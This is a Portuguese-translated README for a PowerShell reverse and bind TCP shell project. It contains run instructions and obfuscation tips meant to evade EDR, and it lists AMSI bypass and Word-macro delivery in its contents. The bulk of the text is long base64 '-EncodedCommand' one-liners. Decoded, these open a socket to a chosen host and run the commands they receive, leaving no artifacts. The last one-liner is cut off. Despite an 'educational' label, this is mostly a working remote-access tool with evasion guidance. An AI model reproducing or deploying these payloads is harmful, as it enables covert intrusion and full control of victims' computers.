PowerShell Reverse TCP

Scripts PowerShell para comunicação com um host remoto.

O host remoto terá controle total sobre o cliente e todos os comandos do sistema subjacente.

Verifique shells baseadas em:

comando PowerShell Invoke-Expression aqui,
pipes de processo aqui.

Testado com PowerShell v5.1.19041.2673 no Windows 10 Enterprise (64 bits).

Feito para fins educacionais. Espero que ajude!

Este repositório começou a ter assinaturas conhecidas e não tenho tempo para enviar novos scripts a cada vez, então você deve ofuscar esses scripts por conta própria.

Planos futuros:

mais shells baseadas em pipes de processo, e otimizá-las ainda mais.

Índice

Como Executar
Ofuscar Scripts PowerShell
- Comando Codificado do PowerShell
- SecureString
Bypass do AMSI
Integração com MS Word
Configurar um Ouvinte
Runtime

Como Executar

Altere o endereço IP e o número da porta nos scripts conforme necessário.

Abra o PowerShell a partir de \src\invoke_expression\original\ ou \src\process_pipes\original\ e execute os comandos mostrados abaixo.

Defina a política de execução:```pwsh Set-ExecutionPolicy Unrestricted

Execute o script:```pwsh
.\powershell_reverse_tcp.ps1

Ou, execute o seguinte comando a partir do PowerShell ou do Prompt de Comando:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1

## Ofuscar Scripts PowerShell

Tente contornar EDR e outros mecanismos de segurança ofuscando seus scripts. Você pode ver essas ofuscações nos exemplos abaixo.

Comando PowerShell original:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)

Comando PowerShell ofuscado:```pwsh & (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'

**Verifique o script PowerShell original [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) e o totalmente ofuscado [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**

Após [ofuscação manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), o script PowerShell original foi ofuscado com [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Créditos ao autor!

Pesquise na Internet por técnicas e métodos adicionais de ofuscação.

P.S. Como o PowerShell é constantemente atualizado, algumas expressões regulares (ex.: `*ke-E*`) podem começar a lançar exceções devido à correspondência de múltiplos métodos à mesma expressão, portanto as expressões precisarão ser especificadas um pouco melhor.

### Comando Codificado do PowerShell

Para gerar um comando codificado do PowerShell a partir de um script PowerShell, execute o seguinte comando PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/HEAD/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))

Para descodificar um comando codificado do PowerShell, execute o seguinte comando do PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/HEAD/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))

Use os comandos de uma linha abaixo se você não quiser deixar nenhum artefato para trás.

---

**\[Reverse TCP - Invoke-Expression\]** Para passar parâmetros para o comando codificado do PowerShell, execute o seguinte comando a partir do PowerShell ou do Prompt de Comando:```pwsh
PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAAgAD0AIAAkACgAUgBlAGEAZAAtAEgAbwBzAHQAIAAtAFAAcgBvAG0AcAB0ACAAIgBFAG4AdABlAHIAIABwAG8AcgB0ACAAbgB1AG0AYgBlAHIAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgAGkAZgAgACgAJABhAC4ATABlAG4AZwB0AGgAIAAtAGwAdAAgADEAIAAtAG8AcgAgACQAcAAuAEwAZQBuAGcAdABoACAALQBsAHQAIAAxACkAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAQgBvAHQAaAAgAHAAYQByAGEAbQBlAHQAZQByAHMAIABhAHIAZQAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAUgBlAHYAZQByAHMAZQAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAYwAgAD0AIAAkAHMAIAA9ACAAJABiACAAPQAgACQAdwAgAD0AIAAkAGQAIAA9ACAAJAByACAAPQAgACQAbgB1AGwAbAA7ACAAdAByAHkAIAB7ACAAJABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFMAbwBjAGsAZQB0AHMALgBUAGMAcABDAGwAaQBlAG4AdAAoACQAYQAsACAAJABwACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgACQAYgB5ACAAPQAgADAAOwAgAGQAbwAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAiAFAAUwA+ACIAKQA7ACAAZABvACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAGQAIAArAD0AIAAkAGUALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsACAAMAAsACAAJABiAHkAKQA7ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAcwAuAEQAYQB0AGEAQQB2AGEAaQBsAGEAYgBsAGUAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgACQAZAAgAD0AIAAkAGQALgBUAHIAaQBtACgAKQA7ACAAaQBmACAAKAAkAGQALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMAApACAAewAgAHQAcgB5ACAAewAgACQAcgAgAD0AIABJAG4AdgBvAGsAZQAtAEUAeABwAHIAZQBzAHMAaQBvAG4AIAAtAEMAbwBtAG0AYQBuAGQAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABjAGEAdABjAGgAIAB7ACAAJAByACAAPQAgACQAXwAuAEUAeABjAGUAcAB0AGkAbwBuACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAOwAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABkADsAIABpAGYAIAAoACQAcgAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJAByACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHIAOwAgAH0AIAB9ACAAfQAgAH0AIAB3AGgAaQBsAGUAIAAoACQAYgB5ACAALQBnAHQAIAAwACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJAByACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIAByADsAIAB9ACAAaQBmACAAKAAkAGQAIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGQAOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwADsA

O script codificado solicitará entrada. Veja o script ligeiramente alterado aqui - usou o script minificado para reduzir o comprimento do comando.

[Reverse TCP - Pipes de Processo] Para passar parâmetros para o comando PowerShell codificado, execute o seguinte comando a partir do PowerShell ou do Prompt de Comando:```pwsh PowerShell -Command "'127.0.0.1', '9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABhACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAGEAZABkAHIAZQBzAHMAIgApAC4AVAByAGkAbQAoACkAOwAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiACIAOwAgACQAcAB0ACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAGEALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQAgAC0AbwByACAAJABwAHQALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAbwB0AGgAIABwAGEAcgBhAG0AZQB0AGUAcgBzACAAYQByAGUAIAByAGUAcQB1AGkAcgBlAGQAIgA7ACAAfQAgAGUAbABzAGUAIAB7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAUABvAHcAZQByAFMAaABlAGwAbAAgAFIAZQB2AGUAcgBzAGUAIABUAEMAUAAgAHYANAAuADAAIABiAHkAIABJAHYAYQBuACAAUwBpAG4AYwBlAGsALgBgAG4ARwBpAHQASAB1AGIAIAByAGUAcABvAHMAaQB0AG8AcgB5ACAAYQB0ACAAZwBpAHQAaAB1AGIALgBjAG8AbQAvAGkAdgBhAG4ALQBzAGkAbgBjAGUAawAvAHAAbwB3AGUAcgBzAGgAZQBsAGwALQByAGUAdgBlAHIAcwBlAC0AdABjAHAALgAiADsAIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABwACAAPQAgACQAZQAgAD0AIAAkAG8AIAA9ACAAJABlAGUAIAA9ACAAJABvAGUAIAA9ACAAJABuAHUAbABsADsAIAB0AHIAeQAgAHsAIAAkAGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAYwBwAEMAbABpAGUAbgB0ACgAJABhACwAIAAkAHAAdAApADsAIAAkAHMAIAA9ACAAJABjAC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAIAAkAHMALgBSAGUAYQBkAFQAaQBtAGUAbwB1AHQAIAA9ACAANQA7ACAAJABiACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABCAHkAdABlAFsAXQAgADEAMAAyADQAOwAgACQAdwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AVwByAGkAdABlAHIAKAAkAHMALAAgAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4ACwAIAAxADAAMgA0ACkAOwAgACQAdwAuAEEAdQB0AG8ARgBsAHUAcwBoACAAPQAgACQAdAByAHUAZQA7ACAAJABwACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzADsAIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBTAHQAYQByAHQASQBuAGYAbwA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBGAGkAbABlAE4AYQBtAGUAIAA9ACAAIgBwAG8AdwBlAHIAcwBoAGUAbABsACIAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AQwByAGUAYQB0AGUATgBvAFcAaQBuAGQAbwB3ACAAPQAgACQAdAByAHUAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAIAA9ACAAWwBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAFcAaQBuAGQAbwB3AFMAdAB5AGwAZQBdADoAOgBIAGkAZABkAGUAbgA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBVAHMAZQBTAGgAZQBsAGwARQB4AGUAYwB1AHQAZQAgAD0AIAAkAGYAYQBsAHMAZQA7ACAAJABwAC4AUwB0AGEAcgB0AEkAbgBmAG8ALgBSAGUAZABpAHIAZQBjAHQAUwB0AGEAbgBkAGEAcgBkAEkAbgBwAHUAdAAgAD0AIAAkAHAALgBTAHQAYQByAHQASQBuAGYAbwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQARQByAHIAbwByACAAPQAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4AUgBlAGQAaQByAGUAYwB0AFMAdABhAG4AZABhAHIAZABPAHUAdABwAHUAdAAgAD0AIAAkAHQAcgB1AGUAOwAgACQAcAAuAFMAdABhAHIAdABJAG4AZgBvAC4ARQByAHIAbwByAEQAaQBhAGwAbwBnACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAHAALgBFAG4AYQBiAGwAZQBSAGEAaQBzAGkAbgBnAEUAdgBlAG4AdABzACAAPQAgACQAZgBhAGwAcwBlADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAG8AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBTAHQAcgBpAG4AZwBCAHUAaQBsAGQAZQByADsAIAAkAHMAYgAgAD0AIAB7ACAAaQBmACAAKAAkAEUAdgBlAG4AdABBAHIAZwBzAC4ARABhAHQAYQAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJABFAHYAZQBuAHQALgBNAGUAcwBzAGEAZwBlAEQAYQB0AGEALgBBAHAAcABlAG4AZABMAGkAbgBlACgAJABFAHYAZQBuAHQAQQByAGcAcwAuAEQAYQB0AGEAKQA7ACAAfQAgAH0AOwAgACQAZQBlACAAPQAgAFIAZQBnAGkAcwB0AGUAcgAtAE8AYgBqAGUAYwB0AEUAdgBlAG4AdAAgAC0ASQBuAHAAdQB0AE8AYgBqAGUAYwB0ACAAJABwACAALQBFAHYAZQBuAHQATgBhAG0AZQAgACIARQByAHIAbwByAEQAYQB0AGEAUgBlAGMAZQBpAHYAZQBkACIAIAAtAEEAYwB0AGkAbwBuACAAJABzAGIAIAAtAE0AZQBzAHMAYQBnAGUARABhAHQAYQAgACQAZQA7ACAAJABvAGUAIAA9ACAAUgBlAGcAaQBzAHQAZQByAC0ATwBiAGoAZQBjAHQARQB2AGUAbgB0ACAALQBJAG4AcAB1AHQATwBiAGoAZQBjAHQAIAAkAHAAIAAtAEUAdgBlAG4AdABOAGEAbQBlACAAIgBPAHUAdABwAHUAdABEAGEAdABhAFIAZQBjAGUAaQB2AGUAZAAiACAALQBBAGMAdABpAG8AbgAgACQAcwBiACAALQBNAGUAcwBzAGEAZwBlAEQAYQB0AGEAIAAkAG8AOwAgACQAcAAuAFMAdABhAHIAdAAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsADsAIAAkAHAALgBCAGUAZwBpAG4ARQByAHIAbwByAFIAZQBhAGQATABpAG4AZQAoACkAOwAgACQAcAAuAEIAZQBnAGkAbgBPAHUAdABwAHUAdABSAGUAYQBkAEwAaQBuAGUAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuACIAOwAgAHcAaABpAGwAZQAgACgAIQAkAHAALgBIAGEAcwBFAHgAaQB0AGUAZAApACAAewAgAHQAcgB5ACAAewAgACQAYgB5ACAAPQAgACQAcwAuAFIAZQBhAGQAKAAkAGIALAAgADAALAAgACQAYgAuAEwAZQBuAGcAdABoACkAOwAgAGkAZgAgACgAJABiAHkAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHAALgBTAHQAYQBuAGQAYQByAGQASQBuAHAAdQB0AC4AVwByAGkAdABlACgAJABiACwAIAAwACwAIAAkAGIAeQApADsAIAB9ACAAZQBsAHMAZQAgAHsAIABiAHIAZQBhAGsAOwAgAH0AIAB9ACAAYwBhAHQAYwBoACAAWwBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAE0AZQB0AGgAbwBkAEkAbgB2AG8AYwBhAHQAaQBvAG4ARQB4AGMAZQBwAHQAaQBvAG4AXQAgAHsAfQAgAGkAZgAgACgAJABlAC4ATABlAG4AZwB0AGgAIAAtAGcAdAAgADAAKQAgAHsAIAAkAHcALgBXAHIAaQB0AGUAKAAkAG8ALgBUAG8AUwB0AHIAaQBuAGcAKAApACkAOwAgACQAbwAuAGMAbABlAGEAcgAoACkAOwAgAH0AIABpAGYAIAAoACQAbwAuAEwAZQBuAGcAdABoACAALQBnAHQAIAAwACkAIAB7ACAAJAB3AC4AVwByAGkAdABlACgAJABvAC4AVABvAFMAdAByAGkAbgBnACgAKQApADsAIAAkAG8ALgBjAGwAZQBhAHIAKAApADsAIAB9ACAAfQAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAEIAYQBjAGsAZABvAG8AcgAgAHcAaQBsAGwAIABuAG8AdwAgAGUAeABpAHQALgAuAC4AIgA7ACAAfQAgAGMAYQB0AGMAaAAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAJABfAC4ARQB4AGMAZQBwAHQAaQBvAG4ALgBJAG4AbgBlAHIARQB4AGMAZQBwAHQAaQBvAG4ALgBNAGUAcwBzAGEAZwBlADsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABpAGYAIAAoACQAZQBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABlAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlAGUAOwAgAH0AIABpAGYAIAAoACQAbwBlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIABVAG4AcgBlAGcAaQBzAHQAZQByAC0ARQB2AGUAbgB0ACAALQBTAG8AdQByAGMAZQBJAGQAZQBuAHQAaQBmAGkAZQByACAAJABvAGUALgBOAGEAbQBlADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABvAGUAOwAgAH0AIABpAGYAIAAoACQAcAAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABwAC4AQwBsAG8AcwBlACgAKQA7ACAAJABwAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHAAOwAgAH0AIABpAGYAIAAoACQAdwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJAB3AC4AQwBsAG8AcwBlACgAKQA7ACAAJAB3AC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHcAOwAgAH0AIABpAGYAIAAoACQAcwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABzAC4AQwBsAG8AcwBlACgAKQA7ACAAJABzAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAHMAOwAgAH0AIABpAGYAIAAoACQAYwAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABjAC4AQwBsAG8AcwBlACgAKQA7ACAAJABjAC4ARABpAHMAcABvAHMAZQAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAGMAOwAgAH0AIABpAGYAIAAoACQAYgAgAC0AbgBlACAAJABuAHUAbABsACkAIAB7ACAAJABiAC4AQwBsAGUAYQByACgAKQA7ACAAQwBsAGUAYQByAC0AVgBhAHIAaQBhAGIAbABlACAAYgA7ACAAfQAgAGkAZgAgACgAJABlACAALQBuAGUAIAAkAG4AdQBsAGwAKQAgAHsAIAAkAGUALgBDAGwAZQBhAHIAKAApADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABlADsAIAB9ACAAaQBmACAAKAAkAG8AIAAtAG4AZQAgACQAbgB1AGwAbAApACAAewAgACQAbwAuAEMAbABlAGEAcgAoACkAOwAgAEMAbABlAGEAcgAtAFYAYQByAGkAYQBiAGwAZQAgAG8AOwAgAH0AIABbAEcAQwBdADoAOgBDAG8AbABsAGUAYwB0ACgAKQA7ACAAfQAgAH0AIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABhADsAIABDAGwAZQBhAHIALQBWAGEAcgBpAGEAYgBsAGUAIABwAHQAOwA=

O script codificado solicitará entrada. Veja o script ligeiramente alterado [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/powershell_reverse_tcp_prompt.ps1) - usou o script [minificado](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/process_pipes/prompt/minified/powershell_reverse_tcp_prompt_mini.ps1) para reduzir o comprimento do comando.

---

**\[Bind TCP - Invoke-Expression\]** Para passar parâmetros para o comando codificado do PowerShell, execute o seguinte comando a partir do PowerShell ou do Prompt de Comando:```pwsh
PowerShell -Command "'9000'" | PowerShell -ExecutionPolicy Unrestricted -NoProfile -EncodedCommand JABwACAAPQAgACQAKABSAGUAYQBkAC0ASABvAHMAdAAgAC0AUAByAG8AbQBwAHQAIAAiAEUAbgB0AGUAcgAgAHAAbwByAHQAIABuAHUAbQBiAGUAcgAiACkALgBUAHIAaQBtACgAKQA7ACAAVwByAGkAdABlAC0ASABvAHMAdAAgACIAIgA7ACAAaQBmACAAKAAkAHAALgBMAGUAbgBnAHQAaAAgAC0AbAB0ACAAMQApACAAewAgAFcAcgBpAHQAZQAtAEgAbwBzAHQAIAAiAFAAbwByAHQAIABuAHUAbQBiAGUAcgAgAGkAcwAgAHIAZQBxAHUAaQByAGUAZAAiADsAIAB9ACAAZQBsAHMAZQAgAHsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBQAG8AdwBlAHIAUwBoAGUAbABsACAAQgBpAG4AZAAgAFQAQwBQACAAdgA0AC4AMAAgAGIAeQAgAEkAdgBhAG4AIABTAGkAbgBjAGUAawAuAGAAbgBHAGkAdABIAHUAYgAgAHIAZQBwAG8AcwBpAHQAbwByAHkAIABhAHQAIABnAGkAdABoAHUAYgAuAGMAbwBtAC8AaQB2AGEAbgAtAHMAaQBuAGMAZQBrAC8AcABvAHcAZQByAHMAaABlAGwAbAAtAHIAZQB2AGUAcgBzAGUALQB0AGMAcAAuACIAOwAgACQAbAAgAD0AIAAkAGMAIAA9ACAAJABzACAAPQAgACQAYgAgAD0AIAAkAHcAIAA9ACAAJABkACAAPQAgACQAcgAgAD0AIAAkAG4AdQBsAGwAOwAgAHQAcgB5ACAAewAgACQAbAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBTAG8AYwBrAGUAdABzAC4AVABjAHAATABpAHMAdABlAG4AZQByACgAIgAwAC4AMAAuADAALgAwACIALAAgACQAcAApADsAIAAkAGwALgBTAHQAYQByAHQAKAApADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBCAGEAYwBrAGQAbwBvAHIAIABpAHMAIAB1AHAAIABhAG4AZAAgAHIAdQBuAG4AaQBuAGcALgAuAC4AYABuAGAAbgBXAGEAaQB0AGkAbgBnACAAZgBvAHIAIABjAGwAaQBlAG4AdAAgAHQAbwAgAGMAbwBuAG4AZQBjAHQALgAuAC4AYABuACIAOwAgAGQAbwAgAHsAIABpAGYAIAAoACQAbAAuAFAAZQBuAGQAaQBuAGcAKAApACkAIAB7ACAAJABjACAAPQAgACQAbAAuAEEAYwBjAGUAcAB0AFQAYwBwAEMAbABpAGUAbgB0ACgAKQA7ACAAfQAgAGUAbABzAGUAIAB7ACAAUwB0AGEAcgB0AC0AUwBsAGUAZQBwACAALQBNAGkAbABsAGkAcwBlAGMAbwBuAGQAcwAgADUAMAAwADsAIAB9ACAAfQAgAHcAaABpAGwAZQAgACgAJABjACAALQBlAHEAIAAkAG4AdQBsAGwAKQA7ACAAJABsAC4AUwB0AG8AcAAoACkAOwAgACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwAgACQAYgAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAQgB5AHQAZQBbAF0AIAAxADAAMgA0ADsAIAAkAGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwA7ACAAJAB3ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBTAHQAcgBlAGEAbQBXAHIAaQB0AGUAcgAoACQAcwAsACAAWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALAAgADEAMAAyADQAKQA7ACAAJAB3AC4AQQB1AHQAbwBGAGwAdQBzAGgAIAA9ACAAJAB0AHIAdQBlADsAIABXAHIAaQB0AGUALQBIAG8AcwB0ACAAIgBDAGwAaQBlAG4AdAAgAGgAYQBzACAAYwBvAG4AbgBlAGMAdABlAGQAIQBgAG4AIgA7ACAAJABiAHkAIAA9ACAAMAA7ACAAZABvACAAewAgACQAdwAuAFcAcgBpAHQAZQAoACIAUABTAD4AIgApADsAIABkAG8AIAB7ACAAJABiAHkAIAA9ACAAJABzAC4AUgBlAGEAZAAoACQAYgAsACAAMAAsACAAJABiAC4ATABlAG4AZwB0AGgAKQA7ACAAaQBmACAAKAAkAGIAeQAgAC0AZwB0ACAAMAApACAAewAgA